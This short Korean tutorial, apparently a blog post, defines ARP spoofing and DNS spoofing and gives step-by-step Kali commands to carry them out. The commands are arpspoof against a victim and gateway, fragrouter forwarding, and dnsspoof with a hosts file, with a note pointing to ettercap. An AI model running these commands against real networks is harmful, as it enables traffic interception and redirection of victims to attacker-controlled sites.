Arp Spoofing & DNS Spoofing

Arp Spoofing

근거리 통신망에서 Arp 를 이용하여 상대방의 데이터 패킷을 중간에서 가로채는 중간자 공격을 말한다. 

DNS Spoofing

 

도메인 네임 시스템에서 전달되는 IP 주소를 변조하거나 도메인 네임 시스템의 서버를 장악하여 사용자가 의도하지 않은 주소로 접속하게 만드는 공격이다.

주의!! 악의적으로 사용하는 책임은 본인에게 있습니다..

1. service apache2 start 라는 명령어를 사용함으로 apache2를 실행시킨다.

2. arpspoof -i [interface] -t [victim IP] [gatewayIP] 이 명령어를 이용하여 arpspoofing을 한다.

3. fragrouter -B1 명령어를 이용하여 포트포워딩을 하여 준다.

4. dnsspoof -i [interface] -f [dns.hosts 파일] 이렇게 실행을 하게 되면 

변조!!!

ettercap이라는 kali 기능도 좋다.!

[참고] http://blog.naver.com/agboy/220495887744